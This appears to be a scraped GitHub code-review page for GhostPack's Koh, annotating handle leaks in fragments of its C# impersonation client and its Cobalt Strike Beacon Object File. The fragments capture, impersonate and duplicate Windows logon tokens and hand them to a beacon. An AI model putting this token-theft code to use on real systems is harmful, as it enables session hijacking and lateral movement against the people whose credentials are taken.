ghostpack / koh Goto Github PK

                                        if (success)
                                        {
                                            responseMsg = $"[*] Impersonating token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} to {pipeName}";

                                            // 0x80000000 | 0x40000000 -> GENERIC_READ | GENERIC_WRITE
                                            // 3 -> OPEN_EXISTING
                                            Thread.Sleep(1000);
                                            IntPtr hPipe = Interop.CreateFile($"{pipeName}", 0x80000000 | 0x40000000, 0, 0, 3, 0, 0);

                                            if (hPipe.ToInt64() == -1)
                                            {
                                                var ex = new Win32Exception(Marshal.GetLastWin32Error());
                                                Console.WriteLine($"  [X] Error conecting to {pipeName} : {ex.Message} ({ex.ErrorCode})");
                                            }
                                            else
                                            {
                                                // write a single byte out so we can fulfil the ReadFile() requirement on the other side of the pipe
                                                byte[] bytes = new byte[1];
                                                uint written = 0;
                                                Interop.WriteFile(hPipe, bytes, (uint)bytes.Length, out written, IntPtr.Zero);
                                                Thread.Sleep(500);
+                                               CloseHandle(hPipe); <<< need to close this handle before the variable goes out of scope
                                            }

                                            Interop.RevertToSelf();

        serverPipe = KERNEL32$CreateNamedPipeA(impersonationPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, &SA);

        if (serverPipe == INVALID_HANDLE_VALUE) {
            BeaconPrintf(CALLBACK_ERROR, "[!] Creating named pipe %s using KERNEL32$CreateNamedPipeA failed with: %d\n", impersonationPipe, KERNEL32$GetLastError());
            goto cleanup;
        }
@@ at this point serverPipe is a valid handle@@ 

        if (!KERNEL32$ConnectNamedPipe(serverPipe, NULL)) {
            BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ConnectNamedPipe failed: %d\n", KERNEL32$GetLastError());
!            goto cleanup;   <<< fails to call KERNEL32$CloseHandle on serverPipe
        }

        // read 1 byte to satisfy the requirement that data is read from the pipe before it's used for impersonation
        fSuccess = KERNEL32$ReadFile(serverPipe, &message, 1, &bytesRead, NULL);
        if (!fSuccess) {
            BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed: %d\n", KERNEL32$GetLastError());
!            goto cleanup;   <<< fails to call KERNEL32$CloseHandle on serverPipe
        }

            if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &threadToken)) {
                BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenThreadToken failed with: %d\n", KERNEL32$GetLastError());
                ADVAPI32$RevertToSelf();
                goto cleanup;
            }

            if (!ADVAPI32$DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &duplicatedToken)) {
                BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with: %d\n", KERNEL32$GetLastError());
                ADVAPI32$RevertToSelf();
!                goto cleanup;  <<< leaks handle to threadToken
            }

            BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonated token successfully duplicated.\n");
            
            ADVAPI32$RevertToSelf();
            
            // register the token with the current beacon session
            if(!BeaconUseToken(duplicatedToken)) {
                BeaconPrintf(CALLBACK_ERROR, "[!] Error applying the token to the current context.\n");
!                goto cleanup; <<< leaks handle to threadToken and duplicatedToken
            }
...
            // clean up so there's not an additional token leak
            KERNEL32$CloseHandle(threadToken);
            KERNEL32$CloseHandle(duplicatedToken);
            KERNEL32$DisconnectNamedPipe(serverPipe);
            KERNEL32$CloseHandle(serverPipe);